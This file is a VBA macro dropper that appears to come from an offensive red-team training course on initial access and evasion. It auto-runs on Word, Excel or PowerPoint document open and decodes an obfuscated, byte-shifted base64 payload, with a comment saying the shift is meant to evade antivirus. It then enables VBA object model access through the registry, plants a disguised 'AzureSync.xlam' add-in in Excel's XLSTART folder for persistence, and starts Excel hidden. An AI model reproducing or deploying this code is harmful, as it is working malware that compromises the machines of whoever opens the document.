'#
'# Copyright (C) Binary-Offensive.com Mariusz Banach - All Rights Reserved
'# Unauthorized copying of this file, via any medium is strictly prohibited.
'#
'# This file/directory was part of Modern Initial Access and Evasion Tactics training
'# delivered by binary-offensive.com and was provided as supplemental material.
'# 
'# Authored by Mariusz Banach <mb@binary-offensive.com>, @mariuszbit / mgeeky
'#


' Base64 decoder

Private Function obf_ShellcodeFunc12() As String
    Dim obf_ShellcodeVar13 As String
    obf_ShellcodeVar13 = ""
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "BOrnBP0xRUZQ/VFCQEVLRk5SQv1BTEJQSwRR/U1JPlb9VEJJSf1URlFF/UBMSko+S0H9TT5PPkpCUUJP"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "UAvq5wT9NEZJSf1RT1b9UUz9Q0ZLQf0D/Uk+UktARf1QTUJARkNGQkH9QlVCQFJRPj9JQgxATEpKPktB"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/T9SUf3q5wT9TT5PPkpQ/U1PTD8+P0lW/VRMSwRR/T9C/U0+UFBCQQn9QUJQTUZRQv1SUEZLRP1NT0xN"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "Qk/9SUxERkD9Q0xP/VFFPlEL6ucE6ufq5yNSS0BRRkxL/Uw/QzwhTFRLSUw+QSNPTEoyLykFH1YzPkn9"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "TD9DPDIvKf0eUP0wUU9GS0QG/R5Q/TBRT0ZLROrn/f39/SxL/SJPT0xP/SRMMUz9TD9DPC1PTEAiT09M"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "T+rn6uf9/f39BOrn/f39/QT9HkpMS0T9QUZDQ0JPQktR/VQ+VlD9UUz9QUxUS0lMPkH9QExLUUJLUf1D"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "T0xK/VFFQv0mS1FCT0tCUf1TRj79Mx8wQE9GTVEX6uf9/f39BP39/Qr9NEZLJVFRTQs0RkslUVFNL0JO"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "UkJQUQsSCw7q5/39/f0E/f39Cv0qUFVKSQ8LNSopJTExLern/f39/QT9/f0K/SpGQE9MUExDUQs1Kikl"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "MTEt6uf9/f39BP1MS0lW/VFFQv1JPlBR/UxLQv1UPlD9S0xR/T9JTEBIQkH9P1b9NEZLQUxUUP0hQkNC"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "S0FCT/0iVU1JTEZR/SRSPk9B/R4wL/1PUklCF+rn/f39/QT9/f3/H0lMQEj9Jz5TPlBAT0ZNUf1MT/0z"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "HzBAT0ZNUf1DT0xK/Uk+UktARUZLRP1BTFRLSUw+QUJB/UJVQkBSUT4/SUL9QExLUUJLUf/q5/39/f0E"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "6uf9/f39NEZRRf0gT0I+UUIsP0dCQFEF/ypGQE9MUExDUQs1KiklMTEt/wbq5/39/f39/f39CyxNQkv9"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/yQiMf8J/Uw/QzwyLykJ/SM+SVBC6uf9/f39/f39/QtQQlEvQk5SQlBRJUI+QUJP/f8eQEBCTVH/Cf3/"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "BwwH/+rn/f39/f39/f0LUEJRL0JOUkJQUSVCPkFCT/3/HkBAQk1RCik+S0RSPkRC/wn9/0JLCjIwCUJL"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "GE4aDQsW/+rn/f39/f39/f0LUEJRL0JOUkJQUSVCPkFCT/3/MlBCTwoeREJLUf8J/f8qTFdGSUk+DBIL"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "Df0FNEZLQUxUUP0rMf0ODQsNGP00RksTERj9VRMRGP1PUxcVDwsNBv0kQkBITAwPDQ4NDQ4NDv0jRk9C"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "Q0xVDBUPCw3/6uf9/f39/f39/QtQQlEvQk5SQlBRJUI+QUJP/f8eQEBCTVEKIktATEFGS0T/Cf3/RFdG"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "TQn9QUJDST5RQv/q5/39/f39/f39C1BCUS9CTlJCUFElQj5BQk/9/yA+QEVCCiBMS1FPTEn/Cf3/TU9G"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "Uz5RQgn9S0wKUFFMT0IJ/Uo+VQo+REIaDf/q5/39/f39/f39C1BCUS9CTlJCUFElQj5BQk/9/yErMf8J"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/f8O/+rn/f39/f39/f0LMEJLQern6uf9/f39/f39/SZD/QswUT5RUlD9Gv0PDQ39MUVCS+rn/f39/f39"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/f39/f39TD9DPCFMVEtJTD5BI09MSjIvKf0a/TBRTyBMS1MFCy9CUE1MS1BCH0xBVgn9Uz8yS0ZATEFC"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "Burn/f39/f39/f39/f39IlVGUf0jUktAUUZMS+rn/f39/f39/f0iS0H9JkPq5/39/f0iS0H9NEZRRern"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "6udMP0M8LU9MQCJPT0xPF+rn/f39/Uw/QzwhTFRLSUw+QSNPTEoyLyn9Gv3//+rnIktB/SNSS0BRRkxL"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "6ufq5zBSP/1MP0M8KT5SS0BFIExKSj5LQQUfVjM+Sf1MP0M8QExKSj5LQf0eUP0wUU9GS0QG6uf9/f39"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "LEv9Ik9PTE/9JEwxTP1MP0M8LU9MQCJPT0xP6uf9/f39IUZK/Uw/QzweTU0J/Uw/QzxCS0EuUkxRQi1M"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "UAn9TD9DPD5PRFAJ/Uw/QzxQTT5AQiBFPk8J/Uw/Qzw+TU0tPlFF6uf9/f39IUZK/Uw/QzxQRSNMSUFC"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "Twn9TD9DPE0+T1BCQSZRQkoJ/Uw/QzwjRklCJlFCSlDq5+rn/f39/QT9MEBPRk1RRktECyNGSUIwVlBR"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "QkosP0dCQFHq5/39/f0hRkr9TD9DPCMwLP0eUP0sP0dCQFEX/TBCUf1MP0M8IzAs/Rr9IE9CPlFCLD9H"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "QkBRBf9LQlQXDSERECMiDQ4KIw0WEAoODiAjChUWEQ0KDQ0eDSAWDRIRDw8V/wbq5/39/f0hRkr9TD9D"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "PEBKQern6uf9/f39BOrn/f39/QT9MFFCTf0OF/0wTUlGUf1ATEpKPktBBFD9QlVCQFJRPj9JQv1NPlFF"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/T5LQf1ATEpKPktB/UlGS0L9Pk9EUAvq5/39/f0E6uf9/f39TD9DPEBKQf0a/SBPQj5RQiw/R0JAUQX/"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "S0JUFxQPIA8RISESCiEUDR4KERAVHwoVHhEPChYVEQ8RHxUVHiMfFf8GCyJVTT5LQSJLU0ZPTEtKQktR"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "MFFPRktEUAVMP0M8QExKSj5LQQbq5/39/f1MP0M8Pk9EUP0a/f//6uf9/f39TD9DPB5NTf0a/TFPRkoF"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "TD9DPEBKQQbq5/39/f1MP0M8QktBLlJMUUItTFD9Gv0mSzBRTwUPCf1MP0M8QEpBCf3/////Burn/f39"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/Uw/QzxQTT5AQiBFPk/9Gv0mSzBRTwUOCf1MP0M8QEpBCf3//f8G6ufq5/39/f0mQ/0pQkNRBUw/QzxA"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "SkEJ/Q4G/Rr9//////0eS0H9TD9DPEJLQS5STFFCLUxQ/Rv9Df0xRUJL6uf9/f39/f39/Uw/QzweTU39"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "Gv0xT0ZKBSpGQQVMP0M8QEpBCf0PCf1MP0M8QktBLlJMUUItTFD9Cv0PBgbq5/39/f39/f39TD9DPD5P"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "RFD9Gv0xT0ZKBSpGQQVMP0M8QEpBCf1MP0M8QktBLlJMUUItTFD9CP0OBgbq5/39/f0iSVBCJkP9TD9D"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "PFBNPkBCIEU+T/0b/Q39MUVCS+rn/f39/f39/f1MP0M8Hk1N/Rr9MU9GSgUqRkEFTD9DPEBKQQn9Dgn9"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "TD9DPFBNPkBCIEU+T/0K/Q4GBurn/f39/f39/f1MP0M8Pk9EUP0a/TFPRkoFKkZBBUw/QzxASkEJ/Uw/"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "QzxQTT5AQiBFPk/9CP0OBgbq5/39/f0iS0H9JkPq5/39/f3q5/39/f0E6uf9/f39BP0wUUJN/Q8X/SJV"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "QkBSUUL9UUVC/UNGSUIM6uf9/f39BOrn6uf9/f39BP0wRUJJSQseTU1JRkA+UUZMSwsO6uf9/f39IUZK"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/Uw/QzxQRSZLUFHq5/39/f0wQlH9TD9DPFBFJktQUf0a/SRCUSw/R0JAUQX/S0JUFw4QFA0WEw8NCiAP"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "FBYKDg4gIgoeERYiChERERISEBIRDQ0NDf8G6uf9/f39JkP9TD9DPCMwLAsjRklCIlVGUFFQBUw/Qzwe"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "TU0G/TFFQkvq5/39/f39/f39BOrn/f39/f39/f0E/Q8LDgv9I0ZJQv1CVUZQUVD9BUNSSUn9TT5RRf1E"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "RlNCSwbq5/39/f39/f39BOrn/f39/f39/f1MP0M8Pk1NLT5RRf0a/Uw/QzwjMCwLJEJRLT5PQktRI0xJ"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "QUJPKz5KQgVMP0M8Hk1NBv0D/f85/+rn/f39/f39/f1MP0M8Hk1N/Rr9TD9DPCMwLAskQlEjRklCKz5K"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "QgVMP0M8Hk1NBurn/f39/f39/f0wQlH9TD9DPFBFI0xJQUJP/Rr9TD9DPFBFJktQUQsrPkpCUE0+QEIF"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "TD9DPD5NTS0+UUUG6uf9/f39/f39/SZD/QUrTFH9TD9DPFBFI0xJQUJP/SZQ/StMUUVGS0QG/TFFQkvq"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "5/39/f39/f39/f39/TBCUf1MP0M8I0ZJQiZRQkpQ/Rr9TD9DPFBFI0xJQUJPCyZRQkpQBQbq5/39/f39"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/f39/f39/SNMT/0iPkBF/Uw/QzxNPk9QQkEmUUJK/SZL/Uw/QzwjRklCJlFCSlDq5/39/f39/f39/f39"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/f39/f0mQ/0mSzBRTwVMP0M8TT5PUEJBJlFCSgn9TD9DPB5NTQb9MUVCS+rn/f39/f39/f39/f39/f39"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/f39/f1MP0M8TT5PUEJBJlFCSgsmS1NMSEIzQk8/IlX9/0xNQkv/Cf3//f/9A/1MP0M8Pk9EUOrn/f39"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/f39/f39/f39/f39/f39/f0iVUZR/TBSP+rn/f39/f39/f39/f39/f39/SJLQf0mQ+rn/f39/f39/f39"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/f39K0JVUern/f39/f39/f0iS0H9JkPq5/39/f0iSVBC6uf9/f39/f39/QTq5/39/f39/f39BP0PCw4L"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/SNGSUL9S0xR/UJVRlBRUAn9S0JCQVD9UUz9P0L9SUxMSEJB/VJN/UZL/VBWUFFCSv1BQkM+UklR/UFG"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "T0JAUUxPRkJQ6uf9/f39/f39/QTq5/39/f39/f39IUZK/Uw/Qzw+T08+VixDLT5RRVD9HlD9Mz5PRj5L"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "Uern/f39/f39/f1MP0M8Pk9PPlYsQy0+UUVQ/Rr9Hk9PPlYFDxMJ/Q8VCf0QEwn9EBQJ/RENCf0RFgbq"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "5/39/f39/f39TD9DPB5NTf0a/Uw/QzwjMCwLJEJRI0ZJQis+SkIFTD9DPB5NTQbq5+rn/f39/f39/f0j"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "TE/9Ij5ARf1MP0M8I0xMJlFCSv0mS/1MP0M8Pk9PPlYsQy0+UUVQ6uf9/f39/f39/f39/f0wQlH9TD9D"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "PFBFI0xJQUJP/Rr9TD9DPFBFJktQUQsrPkpCUE0+QEIFTD9DPCNMTCZRQkoG6uf9/f39/f39/f39/f0m"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "Q/0FK0xR/Uw/QzxQRSNMSUFCT/0mUP0rTFFFRktEBv0xRUJL6uf9/f39/f39/f39/f39/f39MEJR/Uw/"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "QzxNPk9QQkEmUUJK/Rr9TD9DPFBFI0xJQUJPCy0+T1BCKz5KQgVMP0M8Hk1NBurn/f39/f39/f39/f39"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/f39/SZD/QUrTFH9TD9DPE0+T1BCQSZRQkr9JlD9K0xRRUZLRAb9MUVCS+rn/f39/f39/f39/f39/f39"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/f39/f1MP0M8TT5PUEJBJlFCSgsmS1NMSEIzQk8/IlX9/0xNQkv/Cf3//f/9A/1MP0M8Pk9EUOrn/f39"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/f39/f39/f39/f39/f39/f0iVUZR/TBSP+rn/f39/f39/f39/f39/f39/SJLQf0mQ+rn/f39/f39/f39"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/f39IktB/SZD6uf9/f39/f39/StCVVHq5/39/f0iS0H9JkPq50w/QzwtT0xAIk9PTE8X6uciS0H9MFI/"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "6ufq5yNSS0BRRkxL/Uw/QzwwPlNCMUwjRklCBR9WMz5J/Uw/QzxQPlNCHlD9HlD9MFFPRktECf0fVi9C"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "Q/1MP0M8QT5RPgUG/R5Q/R9WUUIG/R5Q/R9MTElCPkvq5/39/f0sS/0iT09MT/0kTDFM/Uw/QzwtT0xA"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "Ik9PTE/q5+rn/f39/SFGSv1MP0M8TFJR6uf9/f39IUZK/Uw/QzxQRUJJSRf9MEJR/Uw/QzxQRUJJSf0a"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/SBPQj5RQiw/R0JAUQX/S0JUFxQPIA8RISESCiEUDR4KERAVHwoVHhEPChYVEQ8RHxUVHiMfFf8G6uf9"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/f39TD9DPExSUf0a/Uw/QzxQRUJJSQsiVU0+S0EiS1NGT0xLSkJLUTBRT0ZLRFAFTD9DPFA+U0IeUAbq"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "5+rn/f39/TRGUUX9IE9CPlFCLD9HQkBRBf8eQUxBPwswUU9CPkr/Burn/f39/f39/f0LMVZNQv0a/Q7q"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "5/39/f39/f39CyxNQkvq5/39/f39/f39C1RPRlFC/Uw/QzxBPlE+6uf9/f39/f39/QtQPlNCUUxDRklC"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/Uw/QzxMUlEJ/Q/q5/39/f0iS0H9NEZRRern/f39/Uw/QzwwPlNCMUwjRklC/Rr9MU9SQurn/f39/SJV"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "RlH9I1JLQFFGTEvq5+rnTD9DPC1PTEAiT09MTxfq5/39/f1MP0M8MD5TQjFMI0ZJQv0a/SM+SVBC6uci"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "S0H9I1JLQFFGTEvq5+rnLVI/SUZA/SNSS0BRRkxL/Uw/QzwwRUJJSUBMQUIkQlEFBv0eUP0wUU9GS0Tq"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "5/39/f0sS/0iT09MT/0kTDFM/Uw/QzwtT0xAIk9PTE/q5+rn/f39/Uw/QzwwRUJJSUBMQUIkQlH9Gv1M"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "P0M8IUxUS0lMPkEjT0xKMi8pBf9FUVFNFwwMSUxAPklFTFBRFxUNFQ0MHlJRTE9SS1ATEQtCVUL/Burn"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/f39/SJVRlH9I1JLQFFGTEvq5+rnTD9DPC1PTEAiT09MTxfq5/39/f1MP0M8MEVCSUlATEFCJEJR/Rr9"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "///q5yJLQf0jUktAUUZMS+rn6ucjUktAUUZMS/1MP0M8MEVCSUlATEFCIktRT1YFBv0eUP0wUU9GS0Tq"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "5+rn/f39/Uw/QzwwRUJJSUBMQUIiS1FPVv0a/Uw/QzwwRUJJSUBMQUIkQlHq5yJLQf0jUktAUUZMS+rn"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "6ucwUj/9TD9DPCFPTE0jRklCBR9WMz5J/Uw/QzxQPlNCUUz9HlD9MFFPRktEBurn/f39/SxL/SJPT0xP"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/SRMMUz9TD9DPC1PTEAiT09MT+rn/f39/SFGSv1MP0M8QExBQurn/f39/SFGSv1MP0M8P1ZRQlAFBv0e"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "UP0fVlFC6uf9/f39IUZK/Uw/QzwpPlJLQEUmUf0eUP0fTExJQj5L6uf9/f39TD9DPCk+UktARSZR/Rr9"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "MU9SQurn/f39/ern/f39/Uw/QzxATEFC/Rr9///q5/39/f1MP0M8QExBQv0a/Uw/QzwwRUJJSUBMQUIi"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "S1FPVurn6uf9/f39TD9DPD9WUUJQ/Rr9MFFPIExLUwVMP0M8QExBQgn9Uz8jT0xKMktGQExBQgbq5/39"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/f3q5/39/f0mQ/1MP0M8MD5TQjFMI0ZJQgVMP0M8UD5TQlFMCf1MP0M8P1ZRQlAG/R5LQf1MP0M8KT5S"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "S0BFJlH9MUVCS+rn/f39/f39/f1MP0M8KT5SS0BFIExKSj5LQf3/AjEiKi0COR5SUUxPUktQExELQlVC"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/+rn/f39/SJLQf0mQ+rn6udMP0M8LU9MQCJPT0xPF+rnIktB/TBSP+rn6ucwUj/9TD9DPCRCS0JPPlFM"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "TyJLUU9WLUxGS1EFBurn/f39/SxL/SJPT0xP/SRMMUz9TD9DPC1PTEAiT09MT+rn6uf9/f39IUZK/Uw/"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "QzxJTEA+UUZMSwn9TD9DPE0+UUXq5/39/f0hRkr9TD9DPCk+UktARSZR/R5Q/R9MTElCPkvq5/39/f1M"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "P0M8KT5SS0BFJlH9Gv0xT1JC6uf9/f396uf9/f39IUZK/Uw/QzxQRUJJSf0eUP0sP0dCQFEX/TBCUf1M"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "P0M8UEVCSUn9Gv0kQlEsP0dCQFEF/0tCVBcUDyAPESEhEgohFA0eChEQFR8KFR4RDwoWFREPER8VFR4j"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "HxX/Burn/f39/Uw/QzxNPlFF/Rr9TD9DPFBFQklJCyJVTT5LQSJLU0ZPTEtKQktRMFFPRktEUAX/AjEi"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "Ki0COf8G6uf9/f39TD9DPElMQD5RRkxL/Rr9TD9DPE0+UUX9A/3/HlJRTE9SS1ATEQtCVUL/6ufq5/39"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/f0hRkr9TD9DPCMwLP0eUP0sP0dCQFEX/TBCUf1MP0M8IzAs/Rr9IE9CPlFCLD9HQkBRBf9LQlQXDSER"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "ECMiDQ4KIw0WEAoODiAjChUWEQ0KDQ0eDSAWDRIRDw8V/wbq5/39/f0mQ/1MP0M8IzAsCyNMSUFCTyJV"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "RlBRUAVMP0M8TT5RRQb9MUVCS+rn/f39/f39/f0mQ/1MP0M8IzAsCyNGSUIiVUZQUVAFTD9DPElMQD5R"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "RkxLBv0a/SM+SVBC/TFFQkvq5/39/f39/f39/f39/Uw/QzwhT0xNI0ZJQv1MP0M8SUxAPlFGTEvq5/39"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/f39/f39IklQQiZD/Uw/QzwpPlJLQEUmUf0xRUJL6uf9/f39/f39/f39/f1MP0M8KT5SS0BFIExKSj5L"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "Qf3/AjEiKi0COR5SUUxPUktQExELQlVC/+rn/f39/f39/f0iS0H9JkPq5/39/f0iSVBC6uf9/f39/f39"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/Uw/QzwjMCwLIE9CPlFCI0xJQUJP/QVMP0M8TT5RRQbq5/39/f39/f39JkP9TD9DPCMwLAsjRklCIlVG"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "UFFQBUw/QzxJTEA+UUZMSwb9Gv0jPklQQv0xRUJL6uf9/f39/f39/f39/f1MP0M8IU9MTSNGSUL9TD9D"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "PElMQD5RRkxL6uf9/f39/f39/SJJUEImQ/1MP0M8KT5SS0BFJlH9MUVCS+rn/f39/f39/f39/f39TD9D"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "PCk+UktARSBMSko+S0H9/wIxIiotAjkeUlFMT1JLUBMRC0JVQv/q5/39/f39/f39IktB/SZD6uf9/f39"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "IktB/SZD6ufq50w/QzwtT0xAIk9PTE8X6uciS0H9MFI/6ufq5zBSP/1MP0M8Kj5AT0wiS1FPVi1MRktR"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "BQbq5/39/f0sS/0iT09MT/0vQlBSSkL9K0JVUern6uf9/f396uf9/f39TD9DPCRCS0JPPlFMTyJLUU9W"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "LUxGS1Hq5/39/f3q5yJLQf0wUj/q5+rnMFI//R5SUUw8LE1CSwUG6uf9/f39BP0fQkBMSkJQ/Uk+UktA"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "RUJB/T5Q/UNGT1BR/UxL/Sow/SJVQEJJ6uf9/f39TD9DPCo+QE9MIktRT1YtTEZLUernIktB/TBSP+rn"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "6ucwUj/9LEstTFRCTy1MRktRBQbq5/39/f1MP0M8Kj5AT0wiS1FPVi1MRktR6uciS0H9MFI/6ufq5zBS"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "P/0hTEBSSkJLUTwsTUJLBQbq5/39/f0E/R9CQExKQlD9ST5SS0BFQkH9PlD9UEJATEtBCf0+S0xRRUJP"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "/VFPVgn9TEv9KjD9NExPQf0M/S1SP0lGUEVCT+rn/f39/Uw/QzwqPkBPTCJLUU9WLUxGS1Hq5yJLQf0w"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "Uj/q5+rnMFI//R5SUUwsTUJLBQbq5/39/f0E/R9CQExKQlD9ST5SS0BFQkH9PlD9Q0ZPUFH9TEv9KjD9"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "NExPQf0M/S1SP0lGUEVCT+rn/f39/Uw/QzwqPkBPTCJLUU9WLUxGS1Hq5yJLQf0wUj/q5+rnMFI//TRM"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "T0g/TExIPCxNQksFBurn/f39/QT9H0JATEpCUP1JPlJLQEVCQf0+UP1QQkBMS0EJ/T5LTFFFQk/9UU9W"
    obf_ShellcodeVar13 = obf_ShellcodeVar13 & "Cf1MS/0qMP0iVUBCSern/f39/Uw/QzwqPkBPTCJLUU9WLUxGS1Hq5yJLQf0wUj8="

    obf_ShellcodeFunc12 = obf_ShellcodeVar13
End Function

Private Function obf_DecodeBase64(ByVal obf_EncodedData As String) As Byte()
    On Error GoTo obf_ProcError
    Dim obf_XmlDom, obf_XmlNode, obf_Decoded, obf_Counter
    Set obf_XmlDom = CreateObject("new:2933BF90-7B36-11D2-B20E-00C04F983E60")
    Set obf_XmlNode = obf_XmlDom.createElement("obf_someInternalName")
    obf_XmlNode.DataType = "bin.base64"
    obf_XmlNode.Text = obf_EncodedData
    obf_Decoded = obf_XmlNode.NodeTypedValue

    ' This for-loop adjusts each byte by adding +35 to evade AVs capable of
    ' base64-decoding in-the-fly
    For obf_Counter = LBound(obf_Decoded) To UBound(obf_Decoded)
        obf_Decoded(obf_Counter) = (obf_Decoded(obf_Counter) + 35) Mod 256
    Next
    obf_DecodeBase64 = obf_Decoded
    Exit Function
obf_ProcError:
End Function

Private Function obf_ShellcodeFunc3() As String
    Dim obf_ShellcodeVar14 As String
    obf_ShellcodeVar14 = ""

    obf_ShellcodeVar14 = obf_ShellcodeVar14 & obf_ShellcodeFunc12()
    obf_ShellcodeFunc3 = obf_ShellcodeVar14
End Function

Private Function obf_DecodeBaseText64(ByVal obf_EncodedData As String) As String
    Dim obf_temp() As Byte
    obf_temp = obf_DecodeBase64(obf_EncodedData)
    obf_DecodeBaseText64 = StrConv(obf_temp, vbUnicode)
End Function

Public Function obf_ShellcodeEntry() As String
    Dim obf_ShellcodeVar2 As String
    obf_ShellcodeVar2 = StrConv(obf_DecodeBase64(obf_ShellcodeFunc3), vbUnicode)
    obf_ShellcodeEntry = obf_ShellcodeVar2
End Function

Sub obf_DropXLAM(obf_shell As Object, ByVal obf_location As String)
    On Error GoTo obf_ProcError

    Dim obf_ExcelVer, obf_regPath1
    Dim obf_objWorkbook As Object, obf_xlmodule As Object
    Dim obf_code
    Dim obf_LaunchIt As Boolean
    Dim obf_ExcelInterop, obf_ExcelProcess, obf_ExcelProcessVba
    
    obf_LaunchIt = True
    
    With CreateObject("Excel.Application")
        obf_ExcelVer = .Version
        
        obf_regPath1 = "HKEY_CURRENT_USER\Software\Microsoft\Office\" & obf_ExcelVer & "\Excel\Security\AccessVBOM"
        obf_shell.RegWrite obf_regPath1, 1, "REG_DWORD"
        
        Set obf_objWorkbook = .Workbooks.Add()
        obf_objWorkbook.Application.DisplayAlerts = False
        Set obf_xlmodule = obf_objWorkbook.VBProject.VBComponents.Add(1)
        
        obf_code = ""
        
        obf_code = obf_ShellcodeEntry
        obf_xlmodule.CodeModule.AddFromString obf_code
        obf_objWorkbook.SaveAs obf_location, 55, "VelvetSweatshop"
        
        If obf_LaunchIt Then
            Call Shell("Excel", vbHide)
        End If

        .Quit
    End With

obf_ProcError:
End Sub

Sub obf_GeneratorEntryPoint()
    On Error GoTo obf_ProcError

    Dim obf_location, obf_path
    Dim obf_shell As Object: Set obf_shell = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8")
    obf_path = obf_shell.ExpandEnvironmentStrings("%USERPROFILE%\AppData\Roaming\Microsoft\Excel\XLSTART")
    obf_location = obf_path & "\AzureSync.xlam"
    
    Dim obf_FSO As Object: Set obf_FSO = CreateObject("new:0D43FE01-F093-11CF-8940-00A0C9054228")
    If obf_FSO.FolderExists(obf_path) Then
        If obf_FSO.FileExists(obf_location) = False Then
            obf_DropXLAM obf_shell, obf_location
        End If
    Else
        obf_FSO.CreateFolder (obf_path)
        If obf_FSO.FileExists(obf_location) = False Then
            obf_DropXLAM obf_shell, obf_location
        End If
    End If

obf_ProcError:
End Sub

Sub obf_MacroEntryPoint()
    On Error Resume Next

    
    obf_GeneratorEntryPoint
    
End Sub

Sub OnPowerPoint()
    obf_MacroEntryPoint
End Sub

Sub Workbook_Open()
    ' Becomes launched as second, another try, on MS Excel
    obf_MacroEntryPoint
End Sub

Sub Document_Open()
    ' Becomes launched as second, another try, on MS Word / Publisher
    obf_MacroEntryPoint
End Sub

